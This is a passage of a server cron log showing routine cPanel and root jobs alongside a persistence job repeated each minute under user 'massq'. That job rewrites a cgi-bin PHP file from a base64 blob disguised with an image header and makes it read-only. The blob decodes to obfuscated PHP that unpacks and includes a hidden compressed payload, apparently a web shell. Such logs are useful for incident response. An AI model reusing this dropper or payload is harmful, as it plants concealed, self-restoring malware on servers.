MRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:53:01 server CROND[31133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:54:01 server CROND[31291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:55:01 server CROND[31352]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 22:55:01 server CROND[31353]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 22:55:01 server CROND[31354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:56:01 server CROND[31515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:57:01 server CROND[31581]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 22:57:01 server CROND[31582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:58:01 server CROND[31655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:59:01 server CROND[31713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:00:01 server CROND[31825]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 23:00:01 server CROND[31826]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 23:00:01 server CROND[31827]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 23:00:01 server CROND[31828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:01:01 server CROND[31976]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:01:01 server CROND[31977]: (root) CMD (run-parts /etc/cron.hourly)
Apr  9 23:01:01 server run-parts(/etc/cron.hourly)[31977]: starting 0anacron
Apr  9 23:01:01 server run-parts(/etc/cron.hourly)[31989]: finished 0anacron
Apr  9 23:02:01 server CROND[32045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:03:01 server CROND[32114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:04:01 server CROND[32175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:05:01 server CROND[32243]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  9 23:05:01 server CROND[32244]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 23:05:01 server CROND[32245]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 23:05:01 server CROND[32247]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 23:05:01 server CROND[32246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
